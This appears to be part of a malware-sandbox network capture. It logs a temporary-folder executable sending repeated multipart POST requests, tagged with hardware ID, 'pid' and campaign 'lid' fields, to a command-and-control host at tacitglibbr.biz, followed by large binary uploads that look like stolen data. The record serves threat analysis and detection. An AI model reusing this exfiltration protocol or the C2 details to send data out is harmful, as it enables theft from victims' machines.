2024-12-16 12:16:39 UTC	1369	IN	Data Raw: 7a 77 65 77 48 65 65 79 4e 71 58 43 4f 74 36 34 48 62 37 44 46 67 41 46 6a 50 78 6c 34 64 44 71 33 39 58 6c 31 6e 48 51 47 41 79 59 42 36 38 6e 74 65 68 77 6d 5a 70 35 67 63 5a 37 33 76 30 44 44 77 61 41 35 6b 71 53 35 65 4c 48 32 75 2f 4c 62 4e 4a 58 51 59 64 41 74 31 43 31 70 6e 44 2b 68 48 66 5a 67 6a 4c 65 6b 46 42 54 55 39 4b 6a 44 49 2b 58 39 70 2f 43 6f 74 59 67 79 41 51 43 31 31 57 33 52 72 58 6e 4d 37 54 47 50 35 71 51 49 4e 6e 32 50 69 45 44 69 2f 4e 58 33 73 4b 70 6e 35 76 74 67 44 69 70 46 6b 2b 46 56 62 67 50 34 36 30 67 6f 5a 67 78 69 49 73 76 33 6f 5a 41 54 51 79 4d 2f 46 37 59 31 61 62 44 79 2b 6e 4d 64 74 78 53 58 74 63 4a 74 77 2f 2b 72 79 4b 6f 30 33 61 49 6b 43 36 4f 79 77 55 47 52 49 2f 68 56 74 4f 46 70 35 48 4f 36 63 78 6d 6e 55 4d Data Ascii: zwewHeeyNqXCOt64Hb7DFgAFjPxl4dDq39Xl1nHQGAyYB68ntehwmZp5gcZ73v0DDwaA5kqS5eLH2u/LbNJXQYdAt1C1pnD+hHfZgjLekFBTU9KjDI+X9p/CotYgyAQC11W3RrXnM7TGP5qQINn2PiEDi/NX3sKpn5vtgDipFk+FVbgP460goZgxiIsv3oZATQyM/F7Y1abDy+nMdtxSXtcJtw/+ryKo03aIkC6OywUGRI/hVtOFp5HO6cxmnUM
2024-12-16 12:16:39 UTC	1369	IN	Data Raw: 31 4c 6b 73 7a 36 74 77 6a 37 5a 75 57 33 65 30 45 42 5a 53 4c 4c 7a 56 64 48 43 2f 38 43 57 78 4d 4e 6e 6c 6c 56 43 67 46 61 33 55 4c 57 6d 63 50 36 47 64 39 6d 43 4d 74 36 51 55 46 4e 54 30 71 4d 4d 6a 35 66 32 6e 38 4b 69 31 69 44 49 42 51 4c 58 56 62 64 47 74 65 63 2b 71 39 55 36 6c 34 55 78 6a 4d 34 44 46 77 76 41 7a 6d 58 36 79 4f 54 55 31 65 58 2b 58 72 46 63 58 4a 70 49 38 43 44 4c 6c 79 47 68 78 48 75 2f 68 54 57 64 69 45 35 42 45 4d 65 6f 47 2f 37 50 2b 64 7a 55 35 59 41 75 30 46 49 4d 7a 77 66 53 45 2f 69 6c 50 71 47 57 47 4a 4f 57 4c 70 48 50 51 45 39 49 69 37 41 44 6e 38 54 6a 77 64 62 74 78 79 79 58 54 45 76 58 43 62 63 51 74 66 68 77 70 39 34 70 6c 49 6b 6b 30 73 34 4f 44 30 69 59 76 6b 4b 66 30 36 6d 4a 69 4b 79 41 63 74 41 4f 44 4e 42 4a Data Ascii: 1Lksz6twj7ZuW3e0EBZSLLzVdHC/8CWxMNnllVCgFa3ULWmcP6Gd9mCMt6QUFNT0qMMj5f2n8Ki1iDIBQLXVbdGtec+q9U6l4UxjM4DFwvAzmX6yOTU1eX+XrFcXJpI8CDLlyGhxHu/hTWdiE5BEMeoG/7P+dzU5YAu0FIMzwfSE/ilPqGWGJOWLpHPQE9Ii7ADn8TjwdbtxyyXTEvXCbcQtfhwp94plIkk0s4OD0iYvkKf06mJiKyActAODNBJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49778	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:40 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YFVPEFKS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12786 Host: tacitglibbr.biz
2024-12-16 12:16:40 UTC	12786	OUT	Data Raw: 2d 2d 59 46 56 50 45 46 4b 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 46 56 50 45 46 4b 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 46 56 50 45 46 4b 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 46 56 50 45 46 4b 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --YFVPEFKSContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--YFVPEFKSContent-Disposition: form-data; name="pid"2--YFVPEFKSContent-Disposition: form-data; name="lid"PsFKDg--pablo--YFVPEFKSContent-Disposit
2024-12-16 12:16:41 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3nit835vbh8idh76976v6ih2f5; expires=Fri, 11-Apr-2025 06:03:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L2OWWX3%2F3I4pVkTCtx7cROpBFG%2F5EVktP8nutVPqsqcPn0d0BfoRNZ9vLWJJdnom6OQQIuGNM3me8JoKHINzOax5ZxgC%2B%2F1KYU0uJ0cm1hNUIQ85uErFLHyMuT6WiqZWrX0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b207d6c41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&min_rtt=1739&rtt_var=654&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13715&delivery_rate=1671436&cwnd=239&unsent_bytes=0&cid=27a2da9e02a7f6b3&ts=769&x=0"
2024-12-16 12:16:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:16:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49784	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:43 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ICCWF6DYW1QKTUDWDX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15075 Host: tacitglibbr.biz
2024-12-16 12:16:43 UTC	15075	OUT	Data Raw: 2d 2d 49 43 43 57 46 36 44 59 57 31 51 4b 54 55 44 57 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 43 43 57 46 36 44 59 57 31 51 4b 54 55 44 57 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 43 43 57 46 36 44 59 57 31 51 4b 54 55 44 57 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --ICCWF6DYW1QKTUDWDXContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--ICCWF6DYW1QKTUDWDXContent-Disposition: form-data; name="pid"2--ICCWF6DYW1QKTUDWDXContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-16 12:16:43 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=shgn2b883rtu27afpl8hnf3413; expires=Fri, 11-Apr-2025 06:03:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DHl0mmLErh0JHz0xQg5nA%2FE8tHGWRge%2FPexuLbpIcsxDrZtsfp5bluft5cwQDhf1WmygIfceO5etVPVVfVycutavsok%2FE9qlmfFf8Ldkp7%2FSP3dODLEP%2FHqfM6E0rW3B53s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b2f1d1b437e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1751&min_rtt=1746&rtt_var=665&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16014&delivery_rate=1632196&cwnd=236&unsent_bytes=0&cid=742abe4e94aa596a&ts=758&x=0"
2024-12-16 12:16:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:16:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49797	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:46 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DI5W9NW0L19PYMKH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20230 Host: tacitglibbr.biz
2024-12-16 12:16:46 UTC	15331	OUT	Data Raw: 2d 2d 44 49 35 57 39 4e 57 30 4c 31 39 50 59 4d 4b 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 49 35 57 39 4e 57 30 4c 31 39 50 59 4d 4b 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 44 49 35 57 39 4e 57 30 4c 31 39 50 59 4d 4b 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 44 49 Data Ascii: --DI5W9NW0L19PYMKHContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--DI5W9NW0L19PYMKHContent-Disposition: form-data; name="pid"3--DI5W9NW0L19PYMKHContent-Disposition: form-data; name="lid"PsFKDg--pablo--DI
2024-12-16 12:16:46 UTC	4899	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-12-16 12:16:47 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ag1q5nim8dj3prckin2imvibub; expires=Fri, 11-Apr-2025 06:03:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lNGCO90C4qI0P7QWpuExfKPbxxvzaxz07pshYz4VY4ZEtFomOIk82gLrjLDH9Gq0qTsTc5T%2BM4cAed4GuuFMgciLImR%2FxydnNS8Hyk2dbWTlqAESVAjXBlC22O8q5p2Yt%2Fo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b417b5af795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1652&rtt_var=632&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21189&delivery_rate=1714621&cwnd=178&unsent_bytes=0&cid=a16b7150a213075b&ts=914&x=0"
2024-12-16 12:16:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:16:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49804	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:49 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PWZY0SW9CHV5J7Z1P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1256 Host: tacitglibbr.biz
2024-12-16 12:16:49 UTC	1256	OUT	Data Raw: 2d 2d 50 57 5a 59 30 53 57 39 43 48 56 35 4a 37 5a 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 57 5a 59 30 53 57 39 43 48 56 35 4a 37 5a 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 57 5a 59 30 53 57 39 43 48 56 35 4a 37 5a 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --PWZY0SW9CHV5J7Z1PContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--PWZY0SW9CHV5J7Z1PContent-Disposition: form-data; name="pid"1--PWZY0SW9CHV5J7Z1PContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 12:16:50 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=92atkmb67hq1bgjlf1hmtcao98; expires=Fri, 11-Apr-2025 06:03:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m5EgaddZfWU6KbTE5WBcxhNG9jjmPDTLDwO9keieE1HJkOYrTyU%2BSOf57Ei2I8LK0IMW9n3%2FPsmw2puNTrdWQnzMCtm6bMiUwABXZnocTKAYeTfr4h1QTbi%2FC5cJRXqBru8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b56ad16c45c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1667&rtt_var=642&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2171&delivery_rate=1751649&cwnd=242&unsent_bytes=0&cid=04436df972266a27&ts=1054&x=0"
2024-12-16 12:16:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:16:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49815	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:53 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P9R6BVR79L5Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 579243 Host: tacitglibbr.biz
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: 2d 2d 50 39 52 36 42 56 52 37 39 4c 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 39 52 36 42 56 52 37 39 4c 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 39 52 36 42 56 52 37 39 4c 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 50 39 52 36 42 56 52 37 39 4c 35 51 0d 0a Data Ascii: --P9R6BVR79L5QContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--P9R6BVR79L5QContent-Disposition: form-data; name="pid"1--P9R6BVR79L5QContent-Disposition: form-data; name="lid"PsFKDg--pablo--P9R6BVR79L5Q
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: 3f 92 d1 8b da 23 be a2 12 c9 30 6a 65 fd fd 13 d8 6e a4 ac 01 d6 44 f1 fb d1 2c 21 26 c2 df ba c5 01 c1 be 7c 35 c0 6f 2c 25 bb f7 76 48 3b 74 48 95 74 18 a8 0d 73 6d fd 1e 49 8e 01 6e 67 e5 32 03 9a 4d 69 c6 12 40 d2 e3 d0 20 d5 87 a1 2f 01 cb 53 08 ec c0 6d f8 c8 a0 67 21 46 eb 7e 90 6c cd 0b 28 5e 15 fd 4b 61 70 75 66 bf bd c2 92 f0 85 e0 23 f0 2b 6a 13 9f 05 ab b9 27 ef e0 bd 22 91 6b 27 29 81 6e 10 e3 c9 2b d0 06 57 83 2d c3 6b eb f6 c5 68 50 e7 d7 f1 77 a5 e6 aa 34 16 ce 08 c6 d1 0e 21 ba 02 75 a3 12 21 c3 d7 41 12 18 13 5e 91 de 1d 1d 88 a1 23 c9 23 91 a9 ba 36 9b a1 83 99 a6 4c cf 87 fd 8d bc 6a 18 97 41 5b f9 c6 b4 8d 06 d0 9e 65 9a f0 c9 50 93 a5 66 6a 05 98 34 08 f3 74 35 2f 16 ca fe a5 3a c6 ef 76 76 05 f2 4b 6b 80 17 87 85 b4 37 56 02 77 3f Data Ascii: ?#0jenD,!&\|5o,%vH;tHtsmIng2Mi@ /Smg!F~l(^Kapuf#+j'"k')n+W-khPw4!u!A^##6LjA[ePfj4t5/:vvKk7Vw?
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: cc c6 a4 1c b5 7c b3 08 13 c1 b1 42 89 a0 e1 35 37 6a 28 3d 19 6f 05 c2 14 26 0a e6 bb ca 81 26 ca ed 51 2b 41 2c ad ab 19 c1 d7 80 7d 28 a1 05 7d 4f 3c 94 ea c3 fe 3e d4 28 a5 e6 44 b2 a7 4f 72 f7 69 a3 34 92 1a df 0b a9 cc ec f6 5e b8 fa 04 cf d6 44 c1 c9 f2 57 e6 22 5b e7 a9 42 70 3c 42 59 97 c1 16 e0 7a 9e 5c 35 69 4c d5 45 7b c5 b7 c5 bf ab 9a 04 45 02 35 ca 90 22 e0 9f 1a e6 fe 1c 16 fc 7b 9a be 9d 25 c8 52 1f 94 4a 8b d1 59 77 1b ed aa 35 c0 de ed 54 bf e2 82 b3 39 44 fa 45 77 3e aa 70 6f f1 c0 5e a4 94 06 09 0d 9e 3b bf f7 bf c4 d0 8b 69 b9 6e 0d 8e d6 18 2b f9 10 10 40 af da 1c 96 69 d7 38 4a 8a 88 ba 27 29 8a 9b e4 a7 da b2 d2 a9 09 a0 45 6b 71 b2 f2 00 81 60 9a c9 76 ff 62 c2 2f d3 6b 7c df ea 84 36 95 71 7d 63 bf df c8 9e 97 85 05 f6 91 e1 25 Data Ascii: \|B57j(=o&&Q+A,}(}O<>(DOri4^DW"[Bp<BYz\5iLE{E5"{%RJYw5T9DEw>po^;in+@i8J')Ekq`vb/k\|6q}c%
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: e9 c1 4b 5d c2 b5 e5 7f 47 89 20 d5 b9 b2 a3 ea d3 42 1b 37 26 0c 4b 11 03 b9 6e ff 1c 7b 27 9c 30 20 18 01 2c 37 61 24 b5 1d 41 c9 f4 43 1a 63 a0 5d 63 fb 9e 01 ca 4b f6 35 8d 7f cf 23 c8 de 5b d4 bf cb 3b 3b e7 d0 aa e6 7f 40 49 10 e0 44 83 35 71 90 f4 d2 5e 14 74 71 a6 aa 86 2b bc 74 66 87 64 21 c5 9e 7e b9 03 61 83 c0 5b ec 1a 93 41 45 4c 10 34 6d 9e a7 35 11 b2 35 30 77 24 a3 09 70 50 79 0e bb a6 ab f3 6f 33 6a c3 d1 03 26 cc e0 9d 6d e2 15 2c f0 3f e2 c1 3f 03 60 60 e6 c9 89 be b1 8f 22 bd 76 0a 01 24 d8 f3 65 23 04 e7 67 b5 26 16 95 8e 72 78 38 ad 0c d1 ad 56 79 4e 51 03 59 57 4d 85 c6 64 e7 e3 11 64 4c 64 d4 ed d3 d2 db 17 0c eb ef 35 cc 7e 2c c4 2a 1c 48 15 b1 c1 51 a0 c8 dd 05 76 e6 30 20 10 f3 e1 7e 11 66 ac 97 d2 84 fc c4 79 aa c8 38 b5 ba a0 Data Ascii: K]G B7&Kn{'0 ,7a$ACc]cK5#[;;@ID5q^tq+tfd!~a[AEL4m550w$pPyo3j&m,??``"v$e#g&rx8VyNQYWMddLd5~,*HQv0 ~fy8
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: 8b 77 1c ff a4 ac 4a 37 da f0 2e b8 b6 fd cf fb 66 b2 82 cc ca c0 21 b5 ca f6 70 6b 4a 26 68 a9 f7 f6 09 c7 3f a7 3f 81 5a cc b3 44 6a 83 b5 aa cb ec a2 a9 c5 bc d0 49 a3 c2 63 e7 e3 17 27 84 49 35 24 85 e9 ad ba 17 42 74 f7 7f 22 ae 78 bf 9c 83 4b 88 00 d0 58 fc 24 75 65 02 c5 f8 33 90 77 0a ea dc 61 73 e1 a0 4d ba a3 45 4d 57 78 b2 02 fe df 09 82 3b 22 b5 67 b7 bc f8 51 73 44 0f 39 fa 6a eb 66 bf e3 4f 57 dc 7a 90 d9 33 64 7f ec 8c 0e c8 17 66 4d cf c2 80 0b 2a 7c 77 6e 07 5e ee ff 40 d8 0f 53 dc bf 73 e0 7b 01 ac 4c ba 93 af 29 73 60 42 d6 0f c8 fd 96 fd 83 81 83 7a 47 73 f6 f0 02 04 c1 f3 6f 86 09 eb b2 f9 81 fc 34 7a 3c fb 09 82 51 c3 95 7e f5 a3 4a 13 55 fd 78 2b f1 b4 2f fe b8 b4 e2 59 19 55 97 d0 28 48 7e f5 a2 b8 4d e3 5a c3 de 88 cf 2f 8e 13 84 Data Ascii: wJ7.f!pkJ&h??ZDjIc'I5$Bt"xKX$ue3wasMEMWx;"gQsD9jfOWz3dfM*\|wn^@Ss{L)s`BzGso4z<Q~JUx+/YU(H~MZ/
2024-12-16 12:16:53 UTC	15331	OUT	Data Raw: d2 63 f2 a2 43 8e b0 da 2a df 84 c7 ef bc 18 84 23 ba 30 10 19 ac a2 e4 47 d4 b8 74 a5 d5 66 ad 66 17 c1 13 5c dc 6f ee ec 94 1c 16 49 c3 c0 20 ac 3f 53 1c ff e8 99 79 5e 7d d8 25 2e 22 42 05 41 87 44 e3 3c ab 36 be 7d d6 ec 93 22 94 54 ab d7 b4 65 cd c8 24 c4 2d a3 d5 38 d6 5d 69 65 3c 63 cf da b5 87 c5 78 cd bf 85 32 95 5e 32 12 21 37 05 7a e8 45 f3 c9 81 30 31 dc 9b 90 f8 65 1e e7 21 f9 59 6b a6 2f 0f bf 30 b9 a9 c2 40 2f 44 f8 fd 28 db 9a 64 16 60 77 07 6b a2 66 ab ca 08 45 0b 11 e7 28 f8 65 9e d5 5a ba 86 86 0d f1 2a 92 2b f8 fb 1a bd bd 2f 52 c0 cc db 07 96 eb c6 16 fa c5 fc 07 23 47 2b 0c a5 56 b7 16 d4 9f 5f e7 7e b0 c3 1c 26 73 84 b0 30 eb 0d 02 a4 04 9e 3c 98 2c 90 bc ef e6 13 f3 42 93 75 8f ad bf 32 2a 44 36 a5 2f ea ef 60 a7 56 d0 58 80 98 b2 Data Ascii: cC#0Gtff\oI ?Sy^}%."BAD<6}"Te$-8]ie<cx2^2!7zE01e!Yk/0@/D(d`wkfE(eZ+/R#G+V_~&s0<,Bu2*D6/`VX
